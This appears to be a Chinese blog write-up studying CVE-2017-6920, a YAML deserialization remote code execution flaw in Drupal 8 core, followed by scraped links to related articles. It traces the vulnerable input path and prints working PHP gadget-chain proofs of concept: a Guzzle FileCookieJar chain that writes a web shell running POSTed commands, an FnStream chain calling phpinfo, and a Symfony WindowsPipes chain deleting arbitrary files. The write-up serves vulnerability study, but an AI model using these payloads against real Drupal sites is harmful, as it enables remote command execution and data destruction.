1.背景介绍:

CVE-2017-6920是Drupal Core的YAML解析器处理不当所导致的一个远程代码执行漏洞,影响8.x的Drupal Core。

Drupal介绍:
Drupal 是一个由Dries Buytaert创立的自由开源的内容管理系统,用PHP语言写成。在业界Drupal常被视为内容管理框架(CMF),而非一般意义上的内容管理系统(CMS)。
Drupal目录:
/vendor – Drupal Core所依赖的后端库
/profile – 贡献和自定义配置文件
/libraries – 第三方库
/core /lib – Drupal核心类
/core /assets – Core使用的各种外部库
/core /misc – Drupal Core所依赖的前端代码
/core /includes – 低级别为模块化的功能。比如模块系统本身
/core /modules – Drupal核心模块
/core /profiles – Drupal Core安装配置文件
YAML 介绍:
YAML是“YAML不是一种标记语言”的外语缩写,但为了强调这种语言以数据做为中心,而不是以置标语言为重点,而用返璞词重新命名。
它是一种直观的能够被电脑识别的数据序列化格式,是一个可读性高并且容易被人类阅读,容易和脚本语言交互,用来表达资料序列的编程语言。
它是类似于标准通用标记语言的子集XML的数据描述语言,语法比XML简单很多。

2.修复方法:

static $init;
if (!isset($init))
{ // We never want to unserialize !php/object.
ini_set('yaml.decode_php', 0);
$init = TRUE;
}

因为通过设置Init_set(),将限制yaml的decode函数的功能,从而防止反序列化php的对象类型序列化数据

3.漏洞分析:

在yaml.php中存在以下decode函数的调用

所以需要在yaml类所在的文件中找decode函数,此decode函数中调用了静态方法getSerializer()函数

此方法说明此时应用会判断用什么类来解析yaml数据,如果存在yaml扩展,就调用yamlpecl来处理,否则就使用yamlsymfony类来处理,此时要寻找的漏洞点

需要满足调用了yaml类的decode函数并且传给decode函数的入口参数必须是我们可以控制的,所以需要去找这样的函数

在core/modules/config/src/Form/ConfigSingleImportForm.php中存在decode函数的调用

这里调用了$form_stare的getValue()方法,这里要求我们必须熟悉drupal这个框架,知识储备:

在处理表单时,有3个变量非常重要。
第一个就是$form_id,它包含了一个标识表单的字符串。
第二个就是$form,它是一个描述表单的结构化数组。
第三个就是$form_state,它包含了表单的相关信息,比如表单的值以及当表单处理完成时应该发生什么。
drupal_get_form()在开始时,首先会初始化$form_state。

说明$form_state变量将会存储我们在表单中提交的值,那么getValue是干啥的,我们继续跟进一下,在FormStateInterface.php中声明了getvalue函数的定义,具体的方法体在FormStateInterface.php中

此文件继承了FormStateInterface接口,并且使用了FormStateValuesTrait,此时又需要了解需要学trait

Trait 是为类似PHP 的单继承语言而准备的一种代码复用机制。Trait 为了减少单继承语言的限制,使开发人员能够自由地在不同层次结构内独立的类中复用method。

在FormStateValuesTrait.php中实现了getvalue()函数的方法体,在getvalue()函数中,将会调用NestedArray的getvalue函数,将会把我们之前"import"键所对应的值返回,即此时yaml::decode就接收到我们传递过去的payload了

4.本地测试:

首先在其composer.json中寻找其加载了哪些代码库

1.存在guzzlehttp,因此可以利用其进行任意写文件,Guzzlehttp/guzzle代码库所存在的file_put_contents()

<?php

require __DIR__.'/vendor/autoload.php';

use GuzzleHttp\Cookie\FileCookieJar;
use GuzzleHttp\Cookie\SetCookie; $tr1ple = new FileCookieJar('/tmp/shell.txt');
$payload = '<?php echo system($_POST[\'cmd\']); ?>';
$data=array(
'Name' => "tr1ple",
'Value' => "Arybin",
'Domain' => $payload,
'Expires' => time()
);
$tr1ple->setCookie(new SetCookie($data));
file_put_contents('./exp',addslashes(serialize($tr1ple)));

导出到文件因为直接写出来会有不可见字符, 写在tmp目录是因为所使用的docker环境,写入文件到www下权限不对,序列化后的数据必须对其中的引号进行转义

结果:

注意:payload前面需要加上yaml的!php/object tag(注意一定要转义),并且因为$data字段有Expire键,因此payload过一段时间将会失效,所以再次利用时需要重新生成payload

Expires:
Cookie 过期的时间。这是个 Unix 时间戳,即从 Unix 纪元开始的秒数。  
换而言之,通常用 time() 函数再加上秒数来设定 cookie 的失效期。

2.利用Guzzlehttp/psr中的FnStream

如上图所示,在析构函数中,将会调用call_user_func()函数

call_user_func — 把第一个参数作为回调函数调用
第一个参数 callback 是被调用的回调函数,其余参数是回调函数的参数。

而此时call_user_func()的入口参数只有一个,那么我们此时只能调用无参函数来测试,我们看一下其构造方法,入口参数为数组,并且将会遍历数组,将数组的键名前添加“_fn_”前缀,因为我们需要传递array("close"=>"phpinfo")作为入口参数

-

poc如下:

<?php
require __DIR__."/vendor/autoload.php"; use GuzzleHttp\Psr7\FnStream; $payload = array(
"close" => "phpinfo"
);
$tr1ple = new FnStream($payload); file_put_contents("exp1",addslashes(serialize($tr1ple)));

结果:

3.利用/vendor/symfony/process/Pipes/WindowsPipes.php中的unlink导致任意删除

在其89行的析构函数中,存在removeFiles()函数,我们跟进一下

在196行中我们可以看到这个函数将会遍历$files变量,取出文件名,然后将文件删除,而files变量是类的私有成员变量

poc为:

这个poc并没有用到use,因为我们不需要导入windowspipes这个类,我们只需要在实例化这个类后给其私有变量赋值即可,也就是不存在给其构造函数传递参数

<?php
namespace Symfony\Component\Process\Pipes;
class WindowsPipes{
private $files = array('/tmp/tr1ple.txt');
}
$tr1ple = new WindowsPipes();
file_put_contents("exp3",addslashes(serialize($tr1ple)));

reference:

1.https://paper.seebug.org/334/

感想:

  第一次尝试着去针对CVE去熟悉一个cms框架,这种学习的方法的确让人短时间了解了很多我之前都不会的知识,从接受恶意输入,到触发漏洞函数整个流程,非常可惜的一点是由于测试使用的是docker上的环境,

我想使用断点调试,但是调试docker里面的php配置起来太麻烦了,并且网上的方法不适用与目前的环境,还是自己对docker的使用不够熟悉,折腾了半天还是没能搭建成调试环境。但是也体会到开发中常用的开发技巧,

以及想要挖掘漏洞,除了需要掌握安全知识,也需要掌握一定的开发知识。

CVE-2017-6920 Drupal远程代码执行漏洞学习的更多相关文章

  1. 代码审计之CVE-2017-6920 Drupal远程代码执行漏洞学习

     1.背景介绍: CVE-2017-6920是Drupal Core的YAML解析器处理不当所导致的一个远程代码执行漏洞,影响8.x的Drupal Core. Drupal介绍:Drupal 是一个由 ...

  2. Drupal 远程代码执行漏洞(CVE-2018-7602)

    影响版本 Drupal Core 存在一个远程代码执行漏洞,影响 7.x 和 8.x 版本 如下图所示,执行以下命令即可复现该漏洞.示例命令为id,如图红框中显示,可以执行该命令. 检测 python ...

  3. Drupal 远程代码执行漏洞(CVE-2019-6339)

    影响版本 Drupal core 7.62之前的7.x版本.8.6.6之前的8.6.x版本和8.5.9之前的8.5.x版本 poc https://github.com/thezdi/PoC/blob ...

  4. Drupal Drupalgeddon 2 远程代码执行漏洞(CVE-2018-7600)

    影响版本 Drupal 6.x,7.x,8.x Drupal 是一款用量庞大的CMS,其6/7/8版本的Form API中存在一处远程代码执行漏洞 脚本检测

  5. 【漏洞公告】CVE-2017-12615/CVE-2017-12616:Tomcat信息泄漏和远程代码执行漏洞

    2017年9月19日,Apache Tomcat官方确认并修复了两个高危漏洞,漏洞CVE编号:CVE-2017-12615和CVE-2017-12616,该漏洞受影响版本为7.0-7.80之间,在一定 ...

  6. 【漏洞公告】Tomcat信息泄漏和远程代码执行漏洞:CVE-2017-12615/CVE-2017-12616

    2017年9月19日,Apache Tomcat官方确认并修复了两个高危漏洞,漏洞CVE编号:CVE-2017-12615和CVE-2017-12616,该漏洞受影响版本为7.0-7.80之间,在一定 ...

  7. Apache Struts 远程代码执行漏洞(CVE-2013-4316)

    漏洞版本: Apache Group Struts < 2.3.15.2 漏洞描述: BUGTRAQ ID: 62587 CVE(CAN) ID: CVE-2013-4316 Struts2 是 ...

  8. MongoDB ‘conn’Mongo 对象远程代码执行漏洞

    漏洞名称: MongoDB ‘conn’Mongo 对象远程代码执行漏洞 CNNVD编号: CNNVD-201307-497 发布时间: 2013-07-25 更新时间: 2013-07-25 危害等 ...

  9. Struts2再爆远程代码执行漏洞

    Struts又爆远程代码执行漏洞!在这次的漏洞中,攻击者可以通过操纵参数远程执行恶意代码.Struts 2.3.15.1之前的版本,参数action的值redirect以及redirectAction ...

随机推荐

  1. Transaction And Lock--常用的查询事务和锁的语句

    --===================================================== --查看当前运行事务 SET TRANSACTION ISOLATION LEVEL R ...

  2. Mvc 项目中使用Bootstrap以及基于bootstrap的 Bootgrid

    官方地址参考http://www.jquery-bootgrid.com/Examples Bootgrid 是一款基于BootStrap 开发的带有查询,分页功能的列表显示组件.可以在像MVC中开发 ...

  3. Sql Server 2012 数据库同步方式 (发布、订阅)

    上篇中说了通过SQL JOB的方式对数据库的同步,这一节作为上一节的延续介绍通过发布订阅的方式实现数据库之间的同步操作.发布订阅份为两个步骤:1.发布.2订阅.首先在数据源数据库服务器上对需要同步的数 ...

  4. 【QTP专题】连接数据库

    获取数据库连接串 在本地新建一个.txt文件,修改扩展名名*.udl:双击*.udl文件,打开数据库链接属性,定位到"提供程序"选显卡,选中如sqlserver的连接  Micro ...

  5. 30.Rotate Image(矩阵旋转)

    Level:   Medium 题目描述: You are given an n x n 2D matrix representing an image. Rotate the image by 90 ...

  6. [agc004f]Namori 贪心

    Description ​ 现在给你一张NN个点MM条边的连通图,我们保证N−1≤M≤NN−1≤M≤N,且无重边和自环. ​ 每一个点都有一种颜色,非黑即白.初始时,所有点都是白色的. ​ 想通过执行 ...

  7. [BZOJ5212][ZJOI2018]历史

    传送门(洛谷) 人生第一道九条可怜……神仙操作…… 看着题解理解了一个早上才勉强看懂怎么回事…… 简化一下题目就是:已知每一个点access的总次数,求一个顺序使虚实边转化的次数最多 考虑一下,对于x ...

  8. [Swift]复数的表示和四则运算

    我们把形如z=a+bi(a,b均为实数)的数称为复数,其中a称为实部,b称为虚部,i称为虚数单位. 当虚部等于零时,这个复数可以视为实数:当z的虚部不等于零时,实部等于零时,常称z为纯虚数. 复数域是 ...

  9. P4491 [HAOI2018]染色 容斥+NTT

    $ \color{#0066ff}{ 题目描述 }$ 为了报答小 C 的苹果, 小 G 打算送给热爱美术的小 C 一块画布, 这块画布可 以抽象为一个长度为 \(N\) 的序列, 每个位置都可以被染成 ...

  10. Mac os x的发展

    OS X(前称Mac OS X)是苹果公司为麦金塔电脑开发的专属操作系统.Mac OS X于1998年首次推出,并从2002年起随麦金塔电脑发售.它是一套Unix基础的操作系统,包含两个主要的部分:核 ...